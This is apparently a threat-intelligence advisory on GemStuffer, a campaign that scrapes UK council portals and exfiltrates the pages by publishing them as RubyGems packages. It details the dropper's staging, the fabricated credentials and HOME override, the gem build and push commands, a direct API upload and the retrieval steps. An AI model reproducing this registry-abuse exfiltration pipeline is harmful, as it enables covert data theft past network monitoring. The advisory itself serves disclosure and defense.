# GemStuffer Campaign — RubyGems Registry Abused as Exfiltration Channel for UK Local Government Data

> Socket's Threat Research Team is tracking GemStuffer, a coordinated registry-abuse campaign that uses the RubyGems package registry as a public data-transport layer. Scripts (payload.rb, script.rb, evil.rb, hack.rb, etc.) scrape ModernGov democratic-services portals for Lambeth, Wandsworth and Southwark councils, embed the HTTP responses inside valid .gem archives, and publish those gems back to rubygems.org using hardcoded API keys. Ruby Central confirmed 155+ malicious package artifacts and temporarily disabled new-account registration plus throttled webhooks in response.

- **Published:** 2026-05-13T12:00:00Z
- **Last reviewed:** 2026-05-13T12:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0505
- **ID:** TL-2026-0505
- **Severity:** HIGH
- **Category:** SUPPLY_CHAIN
- **Status:** MONITORING
- **Actor:** GemStuffer
- **Detections:** 9 · **IOCs:** 43 (full data via the Threadlinqs MCP server — Purple tier)

## Description

GemStuffer is a registry-abuse campaign disclosed by Socket's Threat Research Team (Joseph Edwards) on 2026-05-13 in which the RubyGems registry is repurposed as a public data drop for HTTP responses scraped from UK local-government democratic-services portals. The campaign is distinguished from classical malicious-package attacks by its direction of data flow: rather than using a published gem to deliver malware to victim developers, the attacker uses gem publishing itself as the exfiltration primitive. Stolen content is wrapped inside a structurally valid .gem archive (a tar containing metadata.gz and data.tar.gz) and uploaded to rubygems.org, where it can later be retrieved by anyone with `gem fetch <name> -v <version>` and unpacked locally with standard tar tooling.

Attack chain. The dropper (named variably payload.rb, script.rb, evil.rb, hack.rb, yardload.rb, yard_plugin.rb, exploit.rb, extconf.rb, or fetcher.rb) is placed on a target machine by an external mechanism — the implant does not self-propagate. On execution it captures lightweight execution-context recon (Time.now, Dir.pwd, $0 script path, ARGV) and then opens Net::HTTP sessions with use_ssl: true and OpenSSL::SSL::VERIFY_NONE against three hardcoded UK council ModernGov endpoints: https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1, https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1 and https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1. A spoofed User-Agent of literal `Mozilla/5.0` (shorter than any legitimate browser banner) is used. The script then parses returned HTML for hrefs matching ieList or mgCommittee path patterns and follows ieList links to pull full agenda-item listing pages, appending each response to an output buffer with `===CAL <host>===` and `===PAGE <url>===` delimiters for later programmatic parsing.

Malicious gem staging. The implant builds a randomized staging directory at /tmp/<gemname><epoch_timestamp><pid>/ (e.g. /tmp/lambeth71b1715600000123/) and uses File.binwrite — not File.write — to drop the scraped content to lib/result.txt, avoiding Ruby's UTF-8 encoding layer raising exceptions on non-UTF-8 HTTP bodies. A stub lib/x.rb containing the single token `#x` is created to satisfy the gem layout, and a minimal x.gemspec is written declaring `s.summary='result'`, `s.authors=['x']`, `s.files=Dir['lib/**/*']`, `s.license='MIT'`. Gem names follow a `<council><suffix>` portmanteau convention (lambeth71b, agenda-sample-result, etc.). A second variant family uses Dir.mktmpdir with an OS-reclaimed block scope so the staging directory is deleted immediately after the .gem is read for the push, writes scraped content to a file named `README` (rather than lib/result.txt) which is semantically invisible inside a gem archive, and builds the spec entirely via the Ruby API (Gem::Package.build) so no .gemspec ever touches disk.

Credential injection via HOME override. The CLI-push variants fabricate a self-contained gem credential environment under /tmp/gemhome/.gem/credentials containing a hardcoded RubyGems API token in the `:<key_name>: <key_value>` format, chmod'd to 0600 (the gem CLI aborts on group/world-readable credentials, which the author handles explicitly), and override ENV['HOME']='/tmp/gemhome' for the current process only so the gem binary reads from the fabricated home. Three distinct API key prefixes were observed across the campaign — rubygems_9feada...054a57, rubygems_fb4e1b...6aec9dd and rubygems_d8e875...503a533 — a compartmentalization strategy that allows two campaign legs to keep operating if one key is revoked. A third variant family skips the gem CLI entirely: the API key is a top-level KEY constant, the script constructs a Net::HTTP::Post against https://rubygems.org/api/v1/gems with `Authorization: <api_key>` and `Content-Type: application/octet-stream`, and POSTs the raw .gem bytes (File.binread) directly. This direct-API variant removes every external process dependency — no gem binary, no credentials file, no HOME redirect — running the entire exfil pipeline inside a single Ruby stdlib process.

Exfiltration and retrieval. The CLI-driven variants shell out via backticks to `gem build x.gemspec` and `gem push <name>.gem --host https://rubygems.org`, capturing stdout/stderr to #{root}/log under a `rescue nil` so even the local log is silently dropped on failure. Network signature is a single outbound TLS POST to rubygems.org:443 carrying an octet-stream binary body — indistinguishable on the wire from a legitimate developer release. Standard egress DLP inspecting for plaintext keywords sees nothing: the stolen data is gzip-compressed inside a tar archive inside TLS. Retrieval requires only the gem name and version: `gem fetch <name> -v <ver>`, then `tar xf <name>-<ver>.gem data.tar.gz`, then `tar xzf data.tar.gz ./lib/result.txt` (or ./README in the mktmpdir variant) yields the scraped content delimited by the `===CAL` / `===PAGE` markers.

Registry response and scope. Ruby Central (Marty Haught) confirmed a coordinated spam-publishing campaign limited to newly-registered accounts publishing junk packages; no existing packages were compromised and existing accounts/installs are unaffected. RubyGems temporarily disabled new-account registration and throttled webhooks while improving spammer detection; the rubygems.org signup page currently reflects the registration freeze. Socket is tracking 155 package artifacts (packages and versions) tied to the GemStuffer cluster, many with little or no download activity — consistent with the registry being used as a data-drop rather than for developer compromise.

Classification and significance. The campaign defies clean classification: it may be registry spam, a proof-of-concept worm, an automated scraper opportunistically using RubyGems as cheap storage, or a deliberate red-team-style demonstration of package-registry abuse. The targeted material (council calendars, agenda listings, committee links) is nominally public, but the systematic bulk archival of UK local-government content using a developer-trusted destination is the technique that matters. Package registries are commonly trusted egress endpoints in developer and CI environments; publishing a package looks indistinguishable from normal release activity to most network monitoring. GemStuffer demonstrates the generalizable pattern: scrape, wrap, push, retrieve — a TTP applicable to any public package registry (npm, PyPI, NuGet, Crates) and any target whose data fits inside a package archive.

## MITRE ATT&CK

- T1589 Gather Victim Identity Information
- T1595 Active Scanning
- T1583.006 Acquire Infrastructure: Web Services
- T1585.003 Establish Accounts: Cloud Accounts
- T1587.001 Develop Capabilities: Malware
- T1195.002 Supply Chain Compromise: Compromise Software Supply Chain
- T1059 Command and Scripting Interpreter
- T1204.002 User Execution: Malicious File
- T1036.005 Masquerading: Match Legitimate Resource Name or Location
- T1556 Modify Authentication Process
- T1685 Disable or Modify Tools
- T1564.001 Hide Artifacts: Hidden Files and Directories
- T1027.009 Obfuscated Files or Information: Embedded Payloads
- T1552.001 Unsecured Credentials: Credentials In Files
- T1082 System Information Discovery
- T1033 System Owner/User Discovery
- T1083 File and Directory Discovery
- T1213 Data from Information Repositories
- T1119 Automated Collection
- T1560.002 Archive Collected Data: Archive via Library
- T1074.001 Data Staged: Local Data Staging
- T1071.001 Application Layer Protocol: Web Protocols
- T1102.002 Web Service: Bidirectional Communication
- T1573.002 Encrypted Channel: Asymmetric Cryptography
- T1105 Ingress Tool Transfer
- T1567 Exfiltration Over Web Service
- T1567.001 Exfiltration Over Web Service: Exfiltration to Code Repository
- T1048.002 Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol
- T1020 Automated Exfiltration
- T1030 Data Transfer Size Limits

## Sources

- [GemStuffer Campaign Abuses RubyGems as Exfiltration Channel Targeting UK Local Government](https://socket.dev/blog/gemstuffer)
- [Ruby Central — RubyGems.org account registration temporarily disabled (spam-publishing response)](https://rubygems.org/sign_up)
- [RubyGems API Reference — POST /api/v1/gems (gem push wire protocol)](https://guides.rubygems.org/rubygems-org-api/#push-a-gem)
- [Socket — TanStack npm Packages Compromised in Ongoing Mini Shai-Hulud Supply-Chain Attack (concurrent registry-abuse coverage)](https://socket.dev/blog/tanstack-npm-packages-compromised)
- [Socket — Malicious Ruby Gems and Go Modules Impersonate Developer Tools (prior RubyGems abuse pattern)](https://socket.dev/blog/malicious-ruby-gems-go-modules-impersonate-developer-tools)
- [MITRE ATT&CK — T1567 Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567/)
- [MITRE ATT&CK — T1195.002 Compromise Software Supply Chain](https://attack.mitre.org/techniques/T1195/002/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0505
